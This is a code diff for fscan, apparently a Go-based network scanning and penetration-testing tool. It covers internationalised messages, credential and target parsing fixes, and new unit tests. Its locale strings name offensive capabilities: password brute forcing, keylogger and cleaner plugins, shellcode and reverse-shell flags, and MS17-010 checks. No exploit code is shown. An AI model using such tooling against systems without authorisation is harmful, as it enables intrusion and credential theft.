"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," + + "7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," + // 管理/监控 (10000-11211) "10000,10051,10250,10255,11211," + // 消息队列/集群 (15672-27018) @@ -48,7 +48,7 @@ var ( DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616" // ServicePorts 服务端口 - ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" + ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" // CommonPorts 常用端口 CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986" diff --git a/common/config_builder.go b/common/config_builder.go index 0d7ff8b..d5b7210 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/parsers" ) @@ -28,12 +29,12 @@ func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) { // 3. 解析凭据 if err := parseCredentials(fv, cfg); err != nil { - return nil, nil, fmt.Errorf("凭据解析失败: %w", err) + return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err) } // 4. 解析目标(主机、端口、URL) if err := parseTargets(fv, info, cfg, state); err != nil { - return nil, nil, fmt.Errorf("目标解析失败: %w", err) + return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err) } // 5. 应用日志级别 @@ -48,7 +49,10 @@ func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) { func parseCredentials(fv *FlagVars, cfg *Config) error { // 解析用户名 - usernames := parseUsernames(fv) + usernames, err := parseUsernames(fv) + if err != nil { + return err + } if len(usernames) > 0 { for serviceName := range cfg.Credentials.Userdict { cfg.Credentials.Userdict[serviceName] = usernames @@ -56,7 +60,10 @@ func parseCredentials(fv *FlagVars, cfg *Config) error { } // 解析密码 - passwords := parsePasswords(fv) + passwords, err := parsePasswords(fv) + if err != nil { + return err + } if len(passwords) > 0 { cfg.Credentials.Passwords = passwords } @@ -83,7 +90,7 @@ func parseCredentials(fv *FlagVars, cfg *Config) error { return nil } -func parseUsernames(fv *FlagVars) []string { +func parseUsernames(fv *FlagVars) ([]string, error) { var usernames []string // 命令行用户名 @@ -101,7 +108,7 @@ func parseUsernames(fv *FlagVars) []string { if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil { usernames = append(usernames, lines...) } else { - LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err)) + return nil, fmt.Errorf("%s", i18n.Tr("config_read_users_failed", fv.UsersFile, err)) } } @@ -115,15 +122,15 @@ func parseUsernames(fv *FlagVars) []string { } } - return removeDuplicate(usernames) + return removeDuplicate(usernames), nil } -func parsePasswords(fv *FlagVars) []string { +func parsePasswords(fv *FlagVars) ([]string, error) { var passwords []string // 命令行密码 if fv.Password != "" { - passwords = append(passwords, strings.Split(fv.Password, ",")...) + passwords = append(passwords, fv.Password) } // 从文件读取 @@ -131,16 +138,31 @@ func parsePasswords(fv *FlagVars) []string { if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil { passwords = append(passwords, lines...) } else { - LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err)) + return nil, fmt.Errorf("%s", i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err)) } } // 额外密码 if fv.AddPasswords != "" { - passwords = append(passwords, strings.Split(fv.AddPasswords, ",")...) + passwords = append(passwords, splitCredentialValues(fv.AddPasswords)...) } - return removeDuplicate(passwords) + return removeDuplicate(passwords), nil +} + +func splitCredentialValues(input string) []string { + fields := strings.FieldsFunc(input, func(r rune) bool { + return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r' + }) + + values := make([]string, 0, len(fields)) + for _, field := range fields { + field = strings.TrimSpace(field) + if field != "" { + values = append(values, field) + } + } + return values } func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) { @@ -176,12 +198,15 @@ func parseHashes(fv *FlagVars) ([]string, [][]byte, error) { // 命令行哈希 if fv.HashValue != "" { hash := strings.TrimSpace(fv.HashValue) - if len(hash) == 32 { - hashValues = append(hashValues, hash) - if hashByte, err := hex.DecodeString(hash); err == nil { - hashBytes = append(hashBytes, hashByte) - } + if len(hash) != 32 { + return nil, nil, fmt.Errorf("invalid hash length: %s", hash) } + hashByte, err := hex.DecodeString(hash) + if err != nil { + return nil, nil, err + } + hashValues = append(hashValues, hash) + hashBytes = append(hashBytes, hashByte) } // 从文件读取 @@ -209,13 +234,17 @@ func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 { // 有效的 host:port 格式 state.SetHostPorts([]string{info.Host}) + info.Host = "" ports = "" // 清空端口,避免双重扫描 } } } // 解析 URL - urls := parseURLs(fv) + urls, err := parseURLs(fv) + if err != nil { + return err + } if len(urls) > 0 { state.SetURLs(urls) if info.URL == "" && len(urls) == 1 { @@ -231,7 +260,7 @@ func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error return nil } -func parseURLs(fv *FlagVars) []string { +func parseURLs(fv *FlagVars) ([]string, error) { var urls []string // 命令行 URL @@ -251,11 +280,11 @@ func parseURLs(fv *FlagVars) []string { urls = append(urls, normalizeURL(line)) } } else { - LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err)) + return nil, fmt.Errorf("%s", i18n.Tr("config_read_urls_failed", fv.URLsFile, err)) } } - return removeDuplicate(urls) + return removeDuplicate(urls), nil } func normalizeURL(rawURL string) string { @@ -263,7 +292,8 @@ func normalizeURL(rawURL string) string { if rawURL == "" { return rawURL } - if !strings.HasPrefix(rawURL, "http://") && !strings.HasPrefix(rawURL, "https://") { + lowerURL := strings.ToLower(rawURL) + if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") { return "http://" + rawURL } return rawURL diff --git a/common/config_builder_test.go b/common/config_builder_test.go new file mode 100644 index 0000000..376ac61 --- /dev/null +++ b/common/config_builder_test.go @@ -0,0 +1,75 @@ +package common + +import ( + "reflect" + "testing" +) + +func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) { + fv := &FlagVars{ + Password: "root admin", + AddPasswords: "pass1 pass2,pass3\tpass4", + } + + got, err := parsePasswords(fv) + if err != nil { + t.Fatalf("parsePasswords error = %v", err) + } + want := []string{"root admin", "pass1", "pass2", "pass3", "pass4"} + if !reflect.DeepEqual(got, want) { + t.Fatalf("parsePasswords() = %#v, want %#v", got, want) + } +} + +func TestBuildConfigReturnsUserFileError(t *testing.T) { + _, _, err := BuildConfig(&FlagVars{UsersFile: "missing-users-file.txt"}, &HostInfo{}) + if err == nil { + t.Fatal("BuildConfig should fail for missing users file") + } +} + +func TestBuildConfigReturnsPasswordFileError(t *testing.T) { + _, _, err := BuildConfig(&FlagVars{PasswordsFile: "missing-passwords-file.txt"}, &HostInfo{}) + if err == nil { + t.Fatal("BuildConfig should fail for missing passwords file") + } +} + +func TestBuildConfigReturnsURLFileError(t *testing.T) { + _, _, err := BuildConfig(&FlagVars{URLsFile: "missing-urls-file.txt"}, &HostInfo{}) + if err == nil { + t.Fatal("BuildConfig should fail for missing urls file") + } +} + +func TestBuildConfigRejectsInvalidHashValue(t *testing.T) { + _, _, err := BuildConfig(&FlagVars{HashValue: "not-md5"}, &HostInfo{}) + if err == nil { + t.Fatal("BuildConfig should fail for invalid hash value") + } +} + +func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) { + fv := &FlagVars{Ports: "22"} + info := &HostInfo{Host: "127.0.0.1:8080"} + cfg := BuildConfigFromFlags(fv) + state := NewState() + + if err := parseTargets(fv, info, cfg, state); err != nil { + t.Fatalf("parseTargets error = %v", err) + } + + if info.Host != "" { + t.Fatalf("info.Host = %q, want empty after host:port extraction", info.Host) + } + if got := state.GetHostPorts(); !reflect.DeepEqual(got, []string{"127.0.0.1:8080"}) { + t.Fatalf("hostPorts = %#v, want host:port target", got) + } +} + +func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) { + got := normalizeURL("HTTPS://example.com") + if got != "HTTPS://example.com" { + t.Fatalf("normalizeURL() = %q", got) + } +} diff --git a/common/debug/debug.go b/common/debug/debug.go index eaa29a4..97c8878 100644 --- a/common/debug/debug.go +++ b/common/debug/debug.go @@ -9,6 +9,8 @@ import ( "runtime" "runtime/pprof" "runtime/trace" + + "github.com/shadow1ng/fscan/common/i18n" ) var ( @@ -19,82 +21,82 @@ var ( func Start() { if err := os.MkdirAll(profilesPath, 0755); err != nil { - fmt.Printf("[DEBUG] 创建 profiles 目录失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err)) return } var err error cpuProfile, err = os.Create(profilesPath + "/cpu.prof") if err != nil { - fmt.Printf("[DEBUG] 创建 CPU profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err)) } else { if err := pprof.StartCPUProfile(cpuProfile); err != nil { - fmt.Printf("[DEBUG] 启动 CPU profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err)) cpuProfile.Close() cpuProfile = nil } else { - fmt.Printf("[DEBUG] CPU profiling 已启动 -> %s/cpu.prof\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath)) } } traceFile, err = os.Create(profilesPath + "/trace.out") if err != nil { - fmt.Printf("[DEBUG] 创建 trace 文件失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err)) } else { if err := trace.Start(traceFile); err != nil { - fmt.Printf("[DEBUG] 启动 trace 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err)) traceFile.Close() traceFile = nil } else { - fmt.Printf("[DEBUG] Execution trace 已启动 -> %s/trace.out\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath)) } } - fmt.Printf("[DEBUG] 性能分析已启动,程序结束时自动保存到 %s/\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath)) } func Stop() { if cpuProfile != nil { pprof.StopCPUProfile() cpuProfile.Close() - fmt.Printf("[DEBUG] CPU profile 已保存\n") + fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved")) } if traceFile != nil { trace.Stop() traceFile.Close() - fmt.Printf("[DEBUG] Trace 已保存\n") + fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved")) } memProfile, err := os.Create(profilesPath + "/mem.prof") if err != nil { - fmt.Printf("[DEBUG] 创建内存 profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err)) } else { runtime.GC() if err := pprof.WriteHeapProfile(memProfile); err != nil { - fmt.Printf("[DEBUG] 写入内存 profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err)) } else { - fmt.Printf("[DEBUG] 内存 profile 已保存 -> %s/mem.prof\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath)) } memProfile.Close() } goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof") if err != nil { - fmt.Printf("[DEBUG] 创建 goroutine profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err)) } else { if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil { - fmt.Printf("[DEBUG] 写入 goroutine profile 失败: %v\n", err) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err)) } else { - fmt.Printf("[DEBUG] Goroutine profile 已保存 -> %s/goroutine.prof\n", profilesPath) + fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath)) } goroutineProfile.Close() } - fmt.Printf("\n[DEBUG] 所有性能分析文件已保存到 %s/\n", profilesPath) - fmt.Printf("[DEBUG] 查看方法:\n") - fmt.Printf(" CPU 火焰图: go tool pprof -http=:8081 %s/cpu.prof\n", profilesPath) - fmt.Printf(" 内存火焰图: go tool pprof -http=:8081 %s/mem.prof\n", profilesPath) - fmt.Printf(" 协程分析: go tool pprof -http=:8081 %s/goroutine.prof\n", profilesPath) - fmt.Printf(" 执行时间线: go tool trace %s/trace.out\n", profilesPath) + fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath)) + fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods")) + fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath) + fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath) + fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath) + fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath) } diff --git a/common/flag.go b/common/flag.go index 00ccabe..2844ba9 100644 --- a/common/flag.go +++ b/common/flag.go @@ -15,6 +15,9 @@ import ( // ErrShowHelp 表示用户请求显示帮助(正常退出) var ErrShowHelp = errors.New("show help requested") +// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件 +var IsLocalMode func(mode string) bool + // Banner 显示程序横幅信息 func Banner() { // 静默模式下完全跳过Banner显示 @@ -110,7 +113,7 @@ func Flag(Info *HostInfo) error { flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe")) - flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)") + flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin")) flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) // ═════════════════════════════════════════════════ @@ -184,7 +187,7 @@ func Flag(Info *HostInfo) error { flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level")) flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug")) flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress")) - flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON") + flag.BoolVar(&fv.PerfStats, "perf", false, i18n.GetText("flag_perf_stats")) // ═════════════════════════════════════════════════ // 其他参数 @@ -224,7 +227,9 @@ func Flag(Info *HostInfo) error { // parseCommandLineArgs 解析命令行参数 func parseCommandLineArgs() error { - flag.Parse() + if err := flag.CommandLine.Parse(normalizeMultiValueFlagArgs(os.Args[1:], "-pwda")); err != nil { + return err + } // 显示Banner Banner() @@ -233,6 +238,63 @@ func parseCommandLineArgs() error { return checkParameterConflicts() } +func normalizeMultiValueFlagArgs(args []string, names ...string) []string { + multiValueFlags := make(map[string]struct{}, len(names)) + for _, name := range names { + multiValueFlags[name] = struct{}{} + } + + normalized := make([]string, 0, len(args)) + for i := 0; i < len(args); i++ { + arg := args[i] + name, value, ok := splitMultiValueFlag(arg, multiValueFlags) + if !ok { + normalized = append(normalized, arg) + continue + } + + values := []string{} + if value != "" { + values = append(values, value) + } + + j := i + 1 + for ; j < len(args); j++ { + if strings.HasPrefix(args[j], "-") { + break + } + values = append(values, args[j]) + } + i = j - 1 + + if strings.Contains(arg, "=") { + normalized = append(normalized, name+"="+strings.Join(values, ",")) + } else { + normalized = append(normalized, name) + if len(values) > 0 { + normalized = append(normalized, strings.Join(values, ",")) + } + } + } + + return normalized +} + +func splitMultiValueFlag(arg string, names map[string]struct{}) (string, string, bool) { + if _, ok := names[arg]; ok { + return arg, "", true + } + + for name := range names { + prefix := name + "=" + if strings.HasPrefix(arg, prefix) { + return name, strings.TrimPrefix(arg, prefix), true + } + } + + return "", "", false +} + // preProcessLanguage 预处理语言参数,在定义flag之前设置语言 func preProcessLanguage() { // 遍历命令行参数查找-lang参数 @@ -272,9 +334,14 @@ func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool { // 检查是否提供了扫描目标 hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != "" - // 本地模式需要指定插件才算有效目标 + // 本地模式不需要目标主机 if fv.LocalPlugin != "" { - hasTarget = true + return false + } + + // -m 指定的全是本地插件时也不需要目标 + if IsLocalMode != nil && IsLocalMode(fv.ScanMode) { + return false } // 如果没有提供任何扫描目标,则显示帮助 @@ -302,7 +369,7 @@ func checkParameterConflicts() error { invalidChars := []string{",", ";", " ", "|", "&"} for _, char := range invalidChars { if strings.Contains(fv.LocalPlugin, char) { - return fmt.Errorf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char) + return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char)) } } } diff --git a/common/flag_args_test.go b/common/flag_args_test.go new file mode 100644 index 0000000..a19c481 --- /dev/null +++ b/common/flag_args_test.go @@ -0,0 +1,39 @@ +package common + +import ( + "reflect" + "testing" +) + +func TestNormalizeMultiValueFlagArgs(t *testing.T) { + tests := []struct { + name string + args []string + want []string + }{ + { + name: "space separated pwda values", + args: []string{"-h", "192.168.1.1", "-pwda", "pass1", "pass2", "pass3", "-m", "ssh"}, + want: []string{"-h", "192.168.1.1", "-pwda", "pass1,pass2,pass3", "-m", "ssh"}, + }, + { + name: "equals form with extra values", + args: []string{"-pwda=pass1", "pass2", "-h", "192.168.1.1"}, + want: []string{"-pwda=pass1,pass2", "-h", "192.168.1.1"}, + }, + { + name: "unrelated args unchanged", + args: []string{"-h", "192.168.1.1", "-m", "ssh"}, + want: []string{"-h", "192.168.1.1", "-m", "ssh"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := normalizeMultiValueFlagArgs(tt.args, "-pwda") + if !reflect.DeepEqual(got, tt.want) { + t.Fatalf("normalizeMultiValueFlagArgs() = %#v, want %#v", got, tt.want) + } + }) + } +} diff --git a/common/flag_web.go b/common/flag_web.go index 937a506..9d6a647 100644 --- a/common/flag_web.go +++ b/common/flag_web.go @@ -2,7 +2,11 @@ package common -import "flag" +import ( + "flag" + + "github.com/shadow1ng/fscan/common/i18n" +) // WebMode 表示是否启动Web管理界面 var WebMode bool @@ -11,6 +15,6 @@ var WebMode bool var WebPort int func init() { - flag.BoolVar(&WebMode, "web", false, "启动Web管理界面 (Start Web UI)") - flag.IntVar(&WebPort, "webport", 10240, "Web服务器端口 (Web server port)") + flag.BoolVar(&WebMode, "web", false, i18n.GetText("flag_web_mode")) + flag.IntVar(&WebPort, "webport", 10240, i18n.GetText("flag_web_port")) } diff --git a/common/globals.go b/common/globals.go index f749ad2..9ee1929 100644 --- a/common/globals.go +++ b/common/globals.go @@ -2,9 +2,12 @@ package common import ( "errors" - "fmt" + "net" + "strconv" "strings" "sync" + + "github.com/shadow1ng/fscan/common/i18n" ) /* @@ -28,7 +31,7 @@ type HostInfo struct { // Target 返回 host:port 格式字符串 func (h *HostInfo) Target() string { - return fmt.Sprintf("%s:%d", h.Host, h.Port) + return net.JoinHostPort(h.Host, strconv.Itoa(h.Port)) } // ============================================================================= @@ -62,11 +65,13 @@ const ( // 版本信息,通过 ldflags 注入 var ( - version = "2.1.3" + version = "2.2.0-rc" commit = "unknown" date = "unknown" ) +func GetVersion() string { return version } + // 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问 // Shell状态已迁移到State对象中,使用GetGlobalState()访问 @@ -92,9 +97,9 @@ type PacketLimitError struct { func (e *PacketLimitError) Error() string { if e.Sentinel == ErrMaxPacketReached { - return fmt.Sprintf("已达到最大发包数量限制: %d", e.Limit) + return i18n.Tr("packet_limit_max_reached", e.Limit) } - return fmt.Sprintf("发包速率受限: %d包/分钟", e.Limit) + return i18n.Tr("packet_limit_rate_limited", e.Limit) } func (e *PacketLimitError) Unwrap() error { diff --git a/common/globals_test.go b/common/globals_test.go new file mode 100644 index 0000000..7933e8b --- /dev/null +++ b/common/globals_test.go @@ -0,0 +1,10 @@ +package common + +import "testing" + +func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) { + info := &HostInfo{Host: "2001:db8::1", Port: 443} + if got, want := info.Target(), "[2001:db8::1]:443"; got != want { + t.Fatalf("Target() = %q, want %q", got, want) + } +} diff --git a/common/i18n/i18n.go b/common/i18n/i18n.go index 9bc89e3..e1a0437 100644 --- a/common/i18n/i18n.go +++ b/common/i18n/i18n.go @@ -51,6 +51,13 @@ func SetLanguage(l string) { localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage) } +// GetLanguage returns the currently configured language. +func GetLanguage() string { + mu.RLock() + defer mu.RUnlock() + return lang +} + // GetText 获取国际化文本(无参数) func GetText(key string) string { mu.RLock() diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 9d7c58c..3b480f4 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -30,6 +30,8 @@ flag_disable_ping: other: "Disable ping detection" flag_disable_tcp_probe: other: "Disable TCP supplementary probe" +flag_local_plugin: + other: "Specify local plugin name (e.g.: cleaner, systeminfo, keylogger)" flag_debug: other: "Enable debug mode, write logs to fscan_debug.log" flag_alive_only: @@ -41,7 +43,7 @@ flag_password: flag_add_users: other: "Additional usernames" flag_add_passwords: - other: "Additional passwords" + other: "Additional passwords, separated by commas or spaces" flag_users_file: other: "Username dictionary file" flag_passwords_file: @@ -69,7 +71,7 @@ flag_max_redirects: flag_http_proxy: other: "HTTP proxy" flag_socks5_proxy: - other: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)" + other: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080 or socks5://user:pass@127.0.0.1:1080)" flag_iface: other: "Specify local interface IP address (VPN scenario, e.g.: 10.8.0.5)" flag_poc_path: @@ -120,6 +122,8 @@ flag_log_level: other: "Log level" flag_disable_progress: other: "Disable progress bar" +flag_perf_stats: + other: "Output performance stats in JSON" flag_shellcode: other: "Shellcode" flag_reverse_shell_target: @@ -142,6 +146,10 @@ flag_language: other: "Language: zh, en" flag_help: other: "Show help information" +flag_web_mode: + other: "Start Web management UI" +flag_web_port: + other: "Web server port" # ========================= Scan Mode Messages ========================= scan_mode_service_selected: other: "Service scan mode selected" @@ -191,6 +199,12 @@ progress_scanning_description: other: "Scanning Progress" progress_scan_completed: other: "Scan Completed:" +progress_waiting: + other: "waiting..." +progress_done: + other: "Done" +progress_duration: + other: "duration" concurrency_plugin: other: "Plugins" concurrency_local_plugin: @@ -209,10 +223,56 @@ parse_error_empty_input: other: "Input parameters are empty" parse_error_parser_not_init: other: "Parser not initialized" +parser_read_hosts_failed: + other: "Failed to read hosts file" +parser_parse_host_failed: + other: "Failed to parse host" +parser_parse_exclude_failed: + other: "Failed to parse exclude hosts" +parser_no_valid_hosts: + other: "No valid hosts found" +parser_cidr_failed: + other: "CIDR parse failed {{.Arg1}}" +parser_ip_range_failed: + other: "IP range parse failed {{.Arg1}}" +parser_invalid_ip_range_fmt: + other: "Invalid IP range format: {{.Arg1}}" +parser_invalid_start_ip: + other: "Invalid start IP: {{.Arg1}}" +parser_invalid_end_ip: + other: "Invalid end IP: {{.Arg1}}" +parser_invalid_ip_end_val: + other: "Invalid IP range end value: {{.Arg1}}" +parser_invalid_ip_range_val: + other: "Invalid IP range: {{.Arg1}}-{{.Arg2}}" +parser_invalid_ip_fmt: + other: "Invalid IP address format: {{.Arg1}}" +parser_ipv4_only: + other: "IPv4 addresses only" +parser_start_gt_end: + other: "Start IP greater than end IP" +network_rate_limited: + other: "Rate limited: {{.Arg1}}" +tcp_connection_restricted: + other: "TCP connection {{.Arg1}} restricted: {{.Arg2}}" +http_request_restricted: + other: "HTTP request {{.Arg1}} restricted: {{.Arg2}}" +proxy_dialer_failed: + other: "Failed to get proxy dialer: {{.Arg1}}" +connection_failed: + other: "Connection {{.Arg1}} failed: {{.Arg2}}" +packet_limit_max_reached: + other: "Maximum packet count reached: {{.Arg1}}" +packet_limit_rate_limited: + other: "Packet rate limited: {{.Arg1}} packets/minute" target_local_mode: other: "Local scan mode" param_conflict_ao_icmp_both: other: "Note: Both -ao and -m icmp specified, both enable alive detection mode" +param_local_multi_plugin: + other: "Only a single local plugin can be specified, multiple plugins separated by '{{.Arg1}}' are not supported" +param_join_and: + other: "{{.Arg1}} and {{.Arg2}}" # ========================= Parser Messages ========================= parser_empty_input: @@ -231,6 +291,20 @@ parser_hash_invalid_format: # ========================= Config Messages ========================= config_web_timeout_warning: other: "Web timeout is larger than normal timeout, may cause unexpected behavior" +config_build_failed: + other: "Configuration build failed" +output_init_failed: + other: "Output initialization failed" +config_credentials_parse_failed: + other: "Credential parsing failed" +config_targets_parse_failed: + other: "Target parsing failed" +config_read_users_failed: + other: "Failed to read username file {{.Arg1}}: {{.Arg2}}" +config_read_passwords_failed: + other: "Failed to read password file {{.Arg1}}: {{.Arg2}}" +config_read_urls_failed: + other: "Failed to read URL file {{.Arg1}}: {{.Arg2}}" # ========================= Plugin Scan Messages (with parameters) ========================= scan_plugin_not_found: @@ -347,6 +421,48 @@ port_open_http: other: "Port open {{.Arg1}} [http](HTTP probe)" port_scan_no_alive_subnet: other: "Subnet probe found no alive subnets, skipping port scan" +network_rate_limited_pattern: + other: "Rate limited" +port_scan_debug_start: + other: "[PortScan] start: {{.Arg1}} hosts, threads={{.Arg2}}" +port_scan_debug_ports_parsed: + other: "[PortScan] ports parsed: {{.Arg1}} ports" +proxy_echo_warning: + other: "Proxy echo-all behavior detected, port scan results may be inaccurate" +port_scan_debug_total_tasks: + other: "[PortScan] total tasks: {{.Arg1}}" +large_scan_notice: + other: "Large scan: {{.Arg1}} targets ({{.Arg2}} hosts x {{.Arg3}} ports)" +large_scan_thread_adjusted: + other: "Adjusted thread count: {{.Arg1}} -> {{.Arg2}} (large scan optimization)" +port_scan_progress_description: + other: "Port scanning ({{.Arg1}} threads)" +port_scan_debug_progress_ready: + other: "[PortScan] progress bar initialized" +port_scan_debug_pool_create: + other: "[PortScan] creating worker pool, size={{.Arg1}}" +port_scan_debug_pool_created: + other: "[PortScan] worker pool created" +port_scan_debug_schedule_start: + other: "[PortScan] starting sliding-window schedule" +port_scan_debug_schedule_done: + other: "[PortScan] sliding-window schedule completed" +proxy_verify_failed: + other: "Proxy verification failed {{.Arg1}}: {{.Arg2}}" +proxy_error_response: + other: "Proxy returned error response {{.Arg1}}" +proxy_probe_write_failed: + other: "Probe write failed {{.Arg1}}: {{.Arg2}}" +proxy_probe_error_response: + other: "Proxy probe returned error {{.Arg1}}" +proxy_connection_rejected: + other: "Proxy connection rejected {{.Arg1}}: {{.Arg2}}" +proxy_no_response_closed: + other: "Proxy connection had no response, treating port as closed {{.Arg1}}" +subnet_prefilter_start: + other: "Subnet prefilter: {{.Arg1}} /24 subnets, {{.Arg2}} hosts" +subnet_prefilter_done: + other: "Subnet prefilter complete: {{.Arg1}} alive (gateway hits {{.Arg2}}), {{.Arg3}} skipped, {{.Arg4}} hosts remaining" # ========================= Local Scan Messages ========================= local_plugin_info: @@ -403,6 +519,28 @@ start_web_scan: other: "Starting web scan" start_scan: other: "Starting scan" +plugin_list_summary: + other: "{{.Arg1}} ... {{.Arg2}} total" +service_probe_empty_response: + other: "Response data is empty" +service_probe_microsoft_ds: + other: "Special handling for microsoft-ds service" +service_probe_identified: + other: "Service identified: {{.Arg1}}, Banner: {{.Arg2}}" +service_probe_http_identified: + other: "Identified as HTTP service" +service_probe_unknown: + other: "Unknown service" +service_probe_soft_match: + other: "Soft-matched service: {{.Arg1}}" +icmp_debug_all_responded: + other: "[ICMP] all responded, elapsed {{.Arg1}}" +icmp_debug_max_wait: + other: "[ICMP] max wait reached {{.Arg1}}, alive {{.Arg2}}/{{.Arg3}}" +icmp_debug_stable_done: + other: "[ICMP] response stable, ending early, elapsed {{.Arg1}}, alive {{.Arg2}}/{{.Arg3}}" +adaptive_pool_resource_exhausted: + other: "[AdaptivePool] resource exhaustion rate {{.Arg1}}%, threads {{.Arg2}} -> {{.Arg3}}" # ========================= Service Plugin Messages ========================= # Format: {service}_{type} - type: credential/unauth/service/vuln @@ -526,6 +664,654 @@ ms17010_pipe_decrypt_error: other: "Pipe request decryption error: {{.Arg1}}" ms17010_pipe_decode_error: other: "Pipe request decoding error: {{.Arg1}}" +ms17010_port_only: + other: "MS17-010 detection only 